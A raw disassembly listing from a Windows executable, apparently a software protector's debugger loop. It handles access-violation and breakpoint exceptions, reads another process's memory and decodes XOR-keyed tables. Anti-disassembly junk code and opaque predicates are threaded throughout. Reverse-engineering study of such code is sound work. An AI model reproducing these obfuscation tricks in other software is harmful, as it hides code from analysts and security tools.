loc_4BA50A mov ecx, [ebp-0D24h] and ecx, 0FFFFh cmp ecx, 5A4Dh jz short loc_4BA50A mov edx, dword_4F4768 shl edx, 0Ch mov eax, dword_4F4754 add eax, edx mov dword_4F4754, eax loc_4BA50A: ; CODE XREF: .text:004BA4DFj ; .text:004BA4F3j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BA541 ; CODE XREF: .text:loc_4BA541j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BA519: ; CODE XREF: .text:004BA53Aj jmp short loc_4BA538 ; --------------------------------------------------------------------------- loc_4BA51B: ; CODE XREF: .text:loc_4BA538j xor ecx, ecx loc_4BA51D: ; CODE XREF: .text:004BA52Cj jz short $+2 jmp short loc_4BA531 ; --------------------------------------------------------------------------- loc_4BA521: ; CODE XREF: .text:004BA535j stc xor ecx, 3 jz short near ptr loc_4BA4B3+4 jmp short loc_4BA52E ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BA52A: ; CODE XREF: .text:loc_4BA52Ej jmp short loc_4BA53C ; --------------------------------------------------------------------------- jz short loc_4BA51D loc_4BA52E: ; CODE XREF: .text:004BA527j jnb short loc_4BA52A ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BA531: ; CODE XREF: .text:004BA51Fj sbb bl, bl xor ebx, ebx jmp short loc_4BA521 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BA538: ; CODE XREF: .text:loc_4BA519j jmp short loc_4BA51B ; --------------------------------------------------------------------------- jmp short loc_4BA519 ; --------------------------------------------------------------------------- loc_4BA53C: ; CODE XREF: .text:loc_4BA52Aj repne sbb al, 0DBh jmp short loc_4BA544 ; --------------------------------------------------------------------------- loc_4BA541: ; CODE XREF: .text:004BA514j jmp short near ptr loc_4BA514+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BA544: ; CODE XREF: .text:004BA53Fj popa popf bswap eax not ecx bswap eax not ecx loc_4BA54E: ; CODE XREF: .text:004BA401j mov dword ptr [ebp-0A34h], 10002h loc_4BA558: ; CODE XREF: .text:004BA2AAj ; .text:004BA2BCj ... jmp loc_4BB66A ; --------------------------------------------------------------------------- loc_4BA55D: ; CODE XREF: .text:004B9E89j ; .text:004B9EA1j mov ecx, dword_4ED418 xor ecx, 0C0000005h cmp [ebp-0A38h], ecx jnz loc_4BAA07 jo short loc_4BA57E jl short loc_4BA57C loc_4BA579: ; CODE XREF: .text:loc_4BA57Cj ; .text:loc_4BA57Ej jmp short loc_4BA580 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BA57C: ; CODE XREF: .text:004BA577j jz short loc_4BA579 loc_4BA57E: ; CODE XREF: .text:004BA575j jmp short loc_4BA579 ; --------------------------------------------------------------------------- loc_4BA580: ; CODE XREF: .text:loc_4BA579j mov eax, [ebp-0A30h] mov ecx, [eax+18h] mov [ebp-0D2Ch], ecx mov dword ptr [ebp-0D28h], 0 xor edx, edx mov dl, byte_4F4780 test edx, edx jnz loc_4BA928 xor eax, eax mov al, byte_4F4741 test eax, eax jz loc_4BA928 mov ecx, [ebp-9CCh] and ecx, 0FFh test ecx, ecx jz loc_4BA928 mov edx, [ebp-0A30h] mov eax, [edx+24h] mov [ebp-0D34h], eax mov ecx, [ebp-0D34h] sub ecx, dword_4F4754 shr ecx, 0Ch mov [ebp-0D30h], ecx xor edx, edx mov dl, byte_4F4742 test edx, edx jz loc_4BA7D2 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BA623 loc_4BA620: ; CODE XREF: .text:004BA641j jmp short near ptr loc_4BA643+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA623: ; CODE XREF: .text:004BA61Ej xor ebx, ebx jz short $+2 jmp short loc_4BA636 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BA62C: ; CODE XREF: .text:004BA638j mov ecx, 34F9C987h nop stc jz short loc_4BA63A ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA636: ; CODE XREF: .text:004BA627j xor eax, eax jz short loc_4BA62C loc_4BA63A: ; CODE XREF: .text:004BA633j mov eax, 4840C987h test eax, eax jnz short loc_4BA620 loc_4BA643: ; CODE XREF: .text:loc_4BA620j jmp near ptr 92B243A9h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-0D30h] sub eax, 1 test eax, eax jl short loc_4BA6D8 push 1 mov ecx, [ebp-0D30h] xor edx, edx mov dl, byte_4F1F77[ecx] mov eax, [ebp-0D30h] xor ecx, ecx mov cl, byte_4F1F78[eax] mov esi, dword_4ED3A8[edx*4] xor esi, dword_4ED3A8[ecx*4] loc_4BA685: ; CODE XREF: .text:004BA6F3j mov edx, [ebp-0D30h] xor eax, eax mov al, byte_4F1F79[edx] xor esi, dword_4ED3A8[eax*4] mov eax, [ebp-0D30h] sub eax, 1 cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr esi, cl and esi, 0Fh mov edx, [ebp-0D30h] lea eax, [edx+esi-10h] mov ecx, dword_4F474C lea edx, [ecx+eax*4] push edx mov eax, [ebp-0D30h] sub eax, 1 push eax call loc_4BC15F add esp, 0Ch loc_4BA6D8: ; CODE XREF: .text:004BA657j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BA70F ; CODE XREF: .text:loc_4BA70Fj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BA6E7: ; CODE XREF: .text:004BA708j jmp short loc_4BA706 ; --------------------------------------------------------------------------- loc_4BA6E9: ; CODE XREF: .text:loc_4BA706j xor ecx, ecx loc_4BA6EB: ; CODE XREF: .text:004BA6FAj jz short $+2 jmp short loc_4BA6FF ; --------------------------------------------------------------------------- loc_4BA6EF: ; CODE XREF: .text:004BA703j stc xor ecx, 3 jz short loc_4BA685 jmp short loc_4BA6FC ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BA6F8: ; CODE XREF: .text:loc_4BA6FCj jmp short loc_4BA70A ; --------------------------------------------------------------------------- jz short loc_4BA6EB loc_4BA6FC: ; CODE XREF: .text:004BA6F5j jnb short loc_4BA6F8 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BA6FF: ; CODE XREF: .text:004BA6EDj sbb bl, bl xor ebx, ebx jmp short loc_4BA6EF ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BA706: ; CODE XREF: .text:loc_4BA6E7j jmp short loc_4BA6E9 ; --------------------------------------------------------------------------- jmp short loc_4BA6E7 ; --------------------------------------------------------------------------- loc_4BA70A: ; CODE XREF: .text:loc_4BA6F8j repne sbb al, 0DBh jmp short loc_4BA712 ; --------------------------------------------------------------------------- loc_4BA70F: ; CODE XREF: .text:004BA6E2j jmp short near ptr loc_4BA6E2+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BA712: ; CODE XREF: .text:004BA70Dj popa popf bswap eax not ecx bswap eax not ecx mov ecx, [ebp-0D30h] add ecx, 1 cmp ecx, dword_4F4768 jge short loc_4BA7AC push 1 mov edx, [ebp-0D30h] xor eax, eax mov al, byte_4F1F79[edx] mov ecx, [ebp-0D30h] xor edx, edx mov dl, byte_4F1F7A[ecx] mov esi, dword_4ED3A8[eax*4] xor esi, dword_4ED3A8[edx*4] ; CODE XREF: .text:loc_4BA7CAj mov eax, [ebp-0D30h] xor ecx, ecx mov cl, byte_4F1F7B[eax] xor esi, dword_4ED3A8[ecx*4] mov eax, [ebp-0D30h] add eax, 1 cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr esi, cl and esi, 0Fh mov edx, [ebp-0D30h] lea eax, [edx+esi+10h] mov ecx, dword_4F474C lea edx, [ecx+eax*4] push edx mov eax, [ebp-0D30h] add eax, 1 push eax call loc_4BC15F add esp, 0Ch loc_4BA7AC: ; CODE XREF: .text:004BA72Bj pusha xor eax, eax jnz short loc_4BA7B3 jmp short loc_4BA7C8 ; --------------------------------------------------------------------------- loc_4BA7B3: ; CODE XREF: .text:004BA7AFj jmp short near ptr loc_4BA7E5+3 ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BA7BA: ; CODE XREF: .text:loc_4BA7C8j jo short loc_4BA7CA jmp short near ptr loc_4BA7CA+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BA7C8: ; CODE XREF: .text:004BA7B1j jz short loc_4BA7BA loc_4BA7CA: ; CODE XREF: .text:loc_4BA7BAj ; .text:004BA7BCj jmp short near ptr loc_4BA752+1 ; --------------------------------------------------------------------------- dd 0A0F07ADBh db 33h, 61h ; --------------------------------------------------------------------------- loc_4BA7D2: ; CODE XREF: .text:004BA5FAj cmp dword ptr [ebp-0D30h], 0 jl loc_4BA910 mov ecx, [ebp-0D30h] loc_4BA7E5: ; CODE XREF: .text:loc_4BA7B3j cmp ecx, dword_4F4768 jge loc_4BA910 push 0 mov esi, [ebp-0D30h] shl esi, 4 mov edx, [ebp-0D30h] and edx, 80000007h jns short loc_4BA80F dec edx or edx, 0FFFFFFF8h inc edx loc_4BA80F: ; CODE XREF: .text:004BA808j xor eax, eax mov al, byte_4F1F78[edx] mov ecx, [ebp-0D30h] and ecx, 80000007h jns short loc_4BA82A dec ecx or ecx, 0FFFFFFF8h inc ecx loc_4BA82A: ; CODE XREF: .text:004BA823j xor edx, edx mov dl, byte_4F1F79[ecx] mov edi, dword_4ED3A8[eax*4] xor edi, dword_4ED3A8[edx*4] mov eax, [ebp-0D30h] ; CODE XREF: .text:loc_4BA8B8j and eax, 80000007h jns short loc_4BA852 dec eax or eax, 0FFFFFFF8h inc eax loc_4BA852: ; CODE XREF: .text:004BA84Bj xor ecx, ecx mov cl, byte_4F1F7A[eax] xor edi, dword_4ED3A8[ecx*4] mov eax, [ebp-0D30h] cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr edi, cl and edi, 0Fh add esi, edi ; CODE XREF: .text:004BA8E5j mov edx, dword_4F474C lea eax, [edx+esi*4] push eax mov ecx, [ebp-0D30h] push ecx call loc_4BC15F add esp, 0Ch and eax, 0FFh test eax, eax jz short loc_4BA910 pusha xor eax, eax jnz short loc_4BA8A1 jmp short loc_4BA8B6 ; --------------------------------------------------------------------------- loc_4BA8A1: ; CODE XREF: .text:004BA89Dj jmp short loc_4BA8D6 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BA8A8: ; CODE XREF: .text:loc_4BA8B6j jo short loc_4BA8B8 jmp short near ptr loc_4BA8B8+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BA8BF loc_4BA8B6: ; CODE XREF: .text:004BA89Fj jz short loc_4BA8A8 loc_4BA8B8: ; CODE XREF: .text:loc_4BA8A8j ; .text:004BA8AAj jmp short near ptr loc_4BA840+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BA8BF: ; CODE XREF: .text:004BA8B4j popa mov dword ptr [ebp-0A34h], 10002h push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BA901 ; CODE XREF: .text:loc_4BA901j ; --------------------------------------------------------------------------- loc_4BA8D6: ; CODE XREF: .text:loc_4BA8A1j sal byte ptr [eax+0Eh], cl loc_4BA8D9: ; CODE XREF: .text:004BA8FAj jmp short loc_4BA8F8 ; --------------------------------------------------------------------------- loc_4BA8DB: ; CODE XREF: .text:loc_4BA8F8j xor ecx, ecx loc_4BA8DD: ; CODE XREF: .text:004BA8ECj jz short $+2 jmp short loc_4BA8F1 ; --------------------------------------------------------------------------- loc_4BA8E1: ; CODE XREF: .text:004BA8F5j stc xor ecx, 3 jz short near ptr loc_4BA876+1 jmp short loc_4BA8EE ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BA8EA: ; CODE XREF: .text:loc_4BA8EEj jmp short loc_4BA8FC ; --------------------------------------------------------------------------- jz short loc_4BA8DD loc_4BA8EE: ; CODE XREF: .text:004BA8E7j jnb short loc_4BA8EA ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BA8F1: ; CODE XREF: .text:004BA8DFj sbb bl, bl xor ebx, ebx jmp short loc_4BA8E1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BA8F8: ; CODE XREF: .text:loc_4BA8D9j jmp short loc_4BA8DB ; --------------------------------------------------------------------------- jmp short loc_4BA8D9 ; --------------------------------------------------------------------------- loc_4BA8FC: ; CODE XREF: .text:loc_4BA8EAj repne sbb al, 0DBh jmp short loc_4BA904 ; --------------------------------------------------------------------------- loc_4BA901: ; CODE XREF: .text:004BA8D4j jmp short near ptr loc_4BA8D4+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BA904: ; CODE XREF: .text:004BA8FFj popa popf bswap eax not ecx bswap eax not ecx jmp short loc_4BA926 ; --------------------------------------------------------------------------- loc_4BA910: ; CODE XREF: .text:004BA7D9j ; .text:004BA7EBj ... mov edx, [ebp-0A30h] cmp dword ptr [edx+5Ch], 0 jnz short loc_4BA926 mov dword ptr [ebp-0D28h], 1 loc_4BA926: ; CODE XREF: .text:004BA90Ej ; .text:004BA91Aj jmp short loc_4BA93E ; --------------------------------------------------------------------------- loc_4BA928: ; CODE XREF: .text:004BA5A3j ; .text:004BA5B2j ... mov eax, [ebp-0A30h] cmp dword ptr [eax+5Ch], 0 jnz short loc_4BA93E mov dword ptr [ebp-0D28h], 1 loc_4BA93E: ; CODE XREF: .text:loc_4BA926j ; .text:004BA932j cmp dword ptr [ebp-0D28h], 0 jz loc_4BAA02 mov ecx, [ebp-210h] and ecx, 0FFh test ecx, ecx jz loc_4BAA02 jo short loc_4BA968 jl short loc_4BA966 loc_4BA963: ; CODE XREF: .text:loc_4BA966j ; .text:loc_4BA968j jmp short loc_4BA96A ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BA966: ; CODE XREF: .text:004BA961j jz short loc_4BA963 loc_4BA968: ; CODE XREF: .text:004BA95Fj jmp short loc_4BA963 ; --------------------------------------------------------------------------- loc_4BA96A: ; CODE XREF: .text:loc_4BA963j mov edx, [ebp-0A30h] mov eax, [edx+18h] mov [ebp-1140h], eax mov ecx, [ebp-0A30h] mov edx, [ecx+24h] mov [ebp-0D38h], edx mov eax, [ebp-0A30h] xor ecx, ecx cmp dword ptr [eax+20h], 0 setnz cl mov [ebp-0D3Ch], cl mov edx, [ebp-0D3Ch] and edx, 0FFh test edx, edx jz short loc_4BA9B9 mov dword ptr [ebp-1AA4h], offset aWriteTo ; "write to" jmp short loc_4BA9C3 ; --------------------------------------------------------------------------- loc_4BA9B9: ; CODE XREF: .text:004BA9ABj mov dword ptr [ebp-1AA4h], offset aReadFrom ; "read from" loc_4BA9C3: ; CODE XREF: .text:004BA9B7j mov eax, [ebp-0D38h] push eax mov ecx, [ebp-1AA4h] push ecx mov edx, [ebp-1140h] push edx push offset aErrorAccessVio ; "Error: Access violation at 0x%08X (trie"... lea eax, [ebp-113Ch] push eax call _sprintf_0 add esp, 14h push 50000h push 0 lea ecx, [ebp-113Ch] push ecx push 0 call dword_4ED22C ; MessageBoxA loc_4BAA02: ; CODE XREF: .text:004BA945j ; .text:004BA959j jmp loc_4BB66A ; --------------------------------------------------------------------------- loc_4BAA07: ; CODE XREF: .text:004BA56Fj mov edx, dword_4ED418 xor edx, 80000003h cmp [ebp-0A38h], edx jnz loc_4BB614 mov dword ptr [ebp-11A0h], 17h mov eax, dword_4ED418 xor eax, dword_4ED3E4 xor eax, dword_4ED3D4 mov [ebp-119Ch], eax mov ecx, dword_4ED41C xor ecx, dword_4ED3FC xor ecx, dword_4ED3BC mov [ebp-1198h], ecx mov edx, dword_4ED3F0 xor edx, dword_4ED420 xor edx, dword_4ED408 mov [ebp-1194h], edx mov eax, dword_4ED424 xor eax, dword_4ED3EC xor eax, dword_4ED42C mov [ebp-1190h], eax mov ecx, dword_4ED428 xor ecx, dword_4ED3D0 xor ecx, dword_4ED3B8 mov [ebp-118Ch], ecx mov edx, dword_4ED3CC xor edx, dword_4ED3D8 xor edx, dword_4ED430 mov [ebp-1188h], edx mov eax, dword_4ED418 xor eax, dword_4ED41C xor eax, dword_4ED3F0 xor eax, dword_4ED3E0 mov [ebp-1184h], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3FC xor ecx, dword_4ED420 xor ecx, dword_4ED3CC mov [ebp-1180h], ecx mov edx, dword_4ED424 xor edx, dword_4ED428 xor edx, dword_4ED3CC xor edx, dword_4ED3D8 mov [ebp-117Ch], edx mov eax, dword_4ED3EC xor eax, dword_4ED3D0 xor eax, dword_4ED3D8 xor eax, dword_4ED418 mov [ebp-1178h], eax mov ecx, dword_4ED418 xor ecx, dword_4ED428 xor ecx, dword_4ED41C mov [ebp-1174h], ecx mov edx, dword_4ED3E4 xor edx, dword_4ED3EC xor edx, dword_4ED3F0 mov [ebp-1170h], edx mov eax, dword_4ED41C xor eax, dword_4ED424 xor eax, dword_4ED3CC mov [ebp-116Ch], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED420 xor ecx, dword_4ED424 mov [ebp-1168h], ecx mov edx, dword_4ED418 xor edx, dword_4ED3FC xor edx, dword_4ED424 xor edx, dword_4ED428 mov [ebp-1164h], edx mov eax, dword_4ED3E4 xor eax, dword_4ED3F0 xor eax, dword_4ED3EC xor eax, dword_4ED3D0 mov [ebp-1160h], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3FC xor ecx, dword_4ED420 xor ecx, dword_4ED3CC mov [ebp-115Ch], ecx mov edx, dword_4ED424 xor edx, dword_4ED428 xor edx, dword_4ED3CC xor edx, dword_4ED3D8 mov [ebp-1158h], edx mov eax, dword_4ED3EC xor eax, dword_4ED3D0 xor eax, dword_4ED3D8 xor eax, dword_4ED418 mov [ebp-1154h], eax mov ecx, dword_4ED418 xor ecx, dword_4ED428 xor ecx, dword_4ED41C mov [ebp-1150h], ecx mov edx, dword_4ED3E4 xor edx, dword_4ED3EC xor edx, dword_4ED3F0 mov [ebp-114Ch], edx mov eax, dword_4ED41C xor eax, dword_4ED424 xor eax, dword_4ED3CC mov [ebp-1148h], eax mov ecx, dword_4ED3AC xor ecx, dword_4ED420 xor ecx, dword_4ED424 mov [ebp-1144h], ecx xor edx, edx mov dl, byte_4F4743 test edx, edx jz loc_4BB608 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BACB2 loc_4BACAF: ; CODE XREF: .text:004BACD0j jmp short near ptr loc_4BACD2+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BACB2: ; CODE XREF: .text:004BACADj xor ebx, ebx jz short $+2 jmp short loc_4BACC5 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BACBB: ; CODE XREF: .text:004BACC7j mov ecx, 34F9C987h nop stc jz short loc_4BACC9 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BACC5: ; CODE XREF: .text:004BACB6j xor eax, eax jz short loc_4BACBB loc_4BACC9: ; CODE XREF: .text:004BACC2j mov eax, 4840C987h test eax, eax jnz short loc_4BACAF loc_4BACD2: ; CODE XREF: .text:loc_4BACAFj jmp near ptr 92B24A38h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax cmp dword_4F4784, 0 jnz loc_4BB11C mov eax, dword_4F4764 cmp dword ptr [eax+0Ch], 0 jz loc_4BB11C mov ecx, dword_4F4764 mov edx, [ecx+0Ch] push edx call sub_4C85E1 add esp, 4 ; CODE XREF: .text:loc_4BAD7Ej mov [ebp-18FCh], eax mov eax, [ebp-18FCh] mov dword_4F4784, eax jo short loc_4BAD23 jl short loc_4BAD21 loc_4BAD1E: ; CODE XREF: .text:loc_4BAD21j ; .text:loc_4BAD23j jmp short loc_4BAD25 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BAD21: ; CODE XREF: .text:004BAD1Cj jz short loc_4BAD1E loc_4BAD23: ; CODE XREF: .text:004BAD1Aj jmp short loc_4BAD1E ; --------------------------------------------------------------------------- loc_4BAD25: ; CODE XREF: .text:loc_4BAD1Ej mov dword ptr [ebp-11A8h], 0 lea ecx, [ebp-11A8h] push ecx mov edx, dword_4F4764 mov eax, [edx+0Ch] push eax mov ecx, dword_4F4784 push ecx mov edx, dword_4F4764 mov eax, [edx+8] push eax mov ecx, dword_4F4750 mov edx, [ecx] push edx call dword_4ED0D0 ; ReadProcessMemory pusha xor eax, eax jnz short loc_4BAD67 jmp short loc_4BAD7C ; --------------------------------------------------------------------------- loc_4BAD67: ; CODE XREF: .text:004BAD63j jmp short loc_4BAD9C ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BAD6E: ; CODE XREF: .text:loc_4BAD7Cj jo short loc_4BAD7E jmp short near ptr loc_4BAD7E+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BAD7C: ; CODE XREF: .text:004BAD65j jz short loc_4BAD6E loc_4BAD7E: ; CODE XREF: .text:loc_4BAD6Ej ; .text:004BAD70j jmp short near ptr loc_4BAD06+1 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 64A16133h, 8B004F47h, 0E8830C40h, 0B9D23378h dd 0Dh, 0E883F1F7h ; --------------------------------------------------------------------------- loc_4BAD9C: ; CODE XREF: .text:loc_4BAD67j add dword_4F4788[ebx], esp mov edx, dword_4F4784 mov [ebp-11A4h], edx mov dword ptr [ebp-11ACh], 0 jmp short loc_4BADC9 ; --------------------------------------------------------------------------- loc_4BADBA: ; CODE XREF: .text:004BADF6j mov eax, [ebp-11ACh] add eax, 1 mov [ebp-11ACh], eax loc_4BADC9: ; CODE XREF: .text:004BADB8j cmp dword ptr [ebp-11ACh], 1Eh jnb short loc_4BADF8 ; CODE XREF: .text:loc_4BAE48j mov ecx, [ebp-11ACh] mov edx, [ebp-11A4h] mov eax, [edx] mov dword_4F45C8[ecx*4], eax mov ecx, [ebp-11A4h] add ecx, 4 mov [ebp-11A4h], ecx jmp short loc_4BADBA ; --------------------------------------------------------------------------- loc_4BADF8: ; CODE XREF: .text:004BADD0j mov dword ptr [ebp-11B4h], 0 mov dword ptr [ebp-11B0h], 0 jmp short loc_4BAE1D ; --------------------------------------------------------------------------- loc_4BAE0E: ; CODE XREF: .text:004BB0D6j mov edx, [ebp-11B0h] add edx, 1 mov [ebp-11B0h], edx loc_4BAE1D: ; CODE XREF: .text:004BAE0Cj cmp dword ptr [ebp-11B0h], 1Eh jnb loc_4BB0DB pusha xor eax, eax jnz short loc_4BAE31 jmp short loc_4BAE46 ; --------------------------------------------------------------------------- loc_4BAE31: ; CODE XREF: .text:004BAE2Dj jmp short loc_4BAE66 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BAE38: ; CODE XREF: .text:loc_4BAE46j jo short loc_4BAE48 jmp short near ptr loc_4BAE48+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BAE4F loc_4BAE46: ; CODE XREF: .text:004BAE2Fj jz short loc_4BAE38 loc_4BAE48: ; CODE XREF: .text:loc_4BAE38j ; .text:004BAE3Aj jmp short near ptr loc_4BADD0+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BAE4F: ; CODE XREF: .text:004BAE44j popa mov eax, [ebp-11B0h] mov ecx, dword_4F45C8[eax*4] shl ecx, 2 push ecx call sub_4C85E1 loc_4BAE66: ; CODE XREF: .text:loc_4BAE31j add esp, 4 mov [ebp-1900h], eax mov edx, [ebp-11B0h] mov eax, [ebp-1900h] mov dword_4F4530[edx*4], eax mov ecx, [ebp-11B0h] mov edx, dword_4F45C8[ecx*4] shl edx, 2 push edx call sub_4C85E1 add esp, 4 mov [ebp-1904h], eax mov eax, [ebp-11B0h] mov ecx, [ebp-1904h] mov dword_4F4640[eax*4], ecx mov edx, [ebp-11B0h] mov eax, dword_4F45C8[edx*4] push eax loc_4BAEC2: ; CODE XREF: .text:004BAF30j call sub_4C85E1 add esp, 4 mov [ebp-1908h], eax mov ecx, [ebp-11B0h] mov edx, [ebp-1908h] mov dword_4F46C0[ecx*4], edx mov eax, [ebp-11B0h] mov ecx, dword_4F45C8[eax*4] shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp-190Ch], eax mov edx, [ebp-11B0h] mov eax, [ebp-190Ch] mov dword_4F44B8[edx*4], eax push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BAF4C ; CODE XREF: .text:loc_4BAF4Cj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BAF24: ; CODE XREF: .text:004BAF45j jmp short loc_4BAF43 ; --------------------------------------------------------------------------- loc_4BAF26: ; CODE XREF: .text:loc_4BAF43j xor ecx, ecx loc_4BAF28: ; CODE XREF: .text:004BAF37j jz short $+2 jmp short loc_4BAF3C ; --------------------------------------------------------------------------- loc_4BAF2C: ; CODE XREF: .text:004BAF40j stc xor ecx, 3 jz short loc_4BAEC2 jmp short loc_4BAF39 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BAF35: ; CODE XREF: .text:loc_4BAF39j jmp short loc_4BAF47 ; --------------------------------------------------------------------------- jz short loc_4BAF28 loc_4BAF39: ; CODE XREF: .text:004BAF32j jnb short loc_4BAF35 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BAF3C: ; CODE XREF: .text:004BAF2Aj sbb bl, bl xor ebx, ebx jmp short loc_4BAF2C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BAF43: ; CODE XREF: .text:loc_4BAF24j jmp short loc_4BAF26 ; --------------------------------------------------------------------------- jmp short loc_4BAF24 ; --------------------------------------------------------------------------- loc_4BAF47: ; CODE XREF: .text:loc_4BAF35j repne sbb al, 0DBh jmp short loc_4BAF4F ; --------------------------------------------------------------------------- loc_4BAF4C: ; CODE XREF: .text:004BAF1Fj jmp short near ptr loc_4BAF1F+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BAF4F: ; CODE XREF: .text:004BAF4Aj popa popf bswap eax not ecx bswap eax not ecx mov dword ptr [ebp-11B8h], 0 jmp short loc_4BAF83 ; --------------------------------------------------------------------------- loc_4BAF65: ; CODE XREF: .text:004BB085j mov ecx, [ebp-11B8h] add ecx, 1 mov [ebp-11B8h], ecx mov edx, [ebp-11B4h] add edx, 1 mov [ebp-11B4h], edx loc_4BAF83: ; CODE XREF: .text:004BAF63j mov eax, [ebp-11B0h] mov ecx, [ebp-11B8h] cmp ecx, dword_4F45C8[eax*4] jnb loc_4BB08A mov edx, [ebp-11A4h] mov eax, [edx] add eax, [ebp-3Ch] mov ecx, dword_4ED3EC xor ecx, dword_4ED3AC xor eax, ecx mov edx, [ebp-11B0h] mov ecx, dword_4F4530[edx*4] mov edx, [ebp-11B8h] mov [ecx+edx*4], eax mov eax, [ebp-11A4h] add eax, 4 mov [ebp-11A4h], eax mov ecx, [ebp-11B0h] mov edx, dword_4F4640[ecx*4] mov eax, [ebp-11B8h] mov ecx, [ebp-11A4h] mov ecx, [ecx] mov [edx+eax*4], ecx mov edx, [ebp-11A4h] add edx, 4 mov [ebp-11A4h], edx mov eax, [ebp-11B0h] mov ecx, dword_4F46C0[eax*4] mov edx, [ebp-11B8h] mov eax, [ebp-11A4h] mov al, [eax] mov [ecx+edx], al mov ecx, [ebp-11A4h] add ecx, 1 mov [ebp-11A4h], ecx mov edx, dword_4ED3EC xor edx, dword_4ED3AC mov eax, [ebp-11A4h] mov ecx, [eax] xor ecx, edx mov eax, [ebp-11B8h] xor edx, edx mov esi, 17h div esi xor ecx, [ebp+edx*4-119Ch] mov edx, [ebp-11B0h] mov eax, dword_4F44B8[edx*4] mov edx, [ebp-11B8h] mov [eax+edx*4], ecx mov eax, [ebp-11A4h] add eax, 4 mov [ebp-11A4h], eax jmp loc_4BAF65 ; --------------------------------------------------------------------------- loc_4BB08A: ; CODE XREF: .text:004BAF96j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh loc_4BB09D: ; CODE XREF: .text:loc_4BB114j xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BB0AD loc_4BB0AA: ; CODE XREF: .text:004BB0CBj jmp short near ptr loc_4BB0CD+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB0AD: ; CODE XREF: .text:004BB0A8j xor ebx, ebx jz short $+2 jmp short loc_4BB0C0 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh 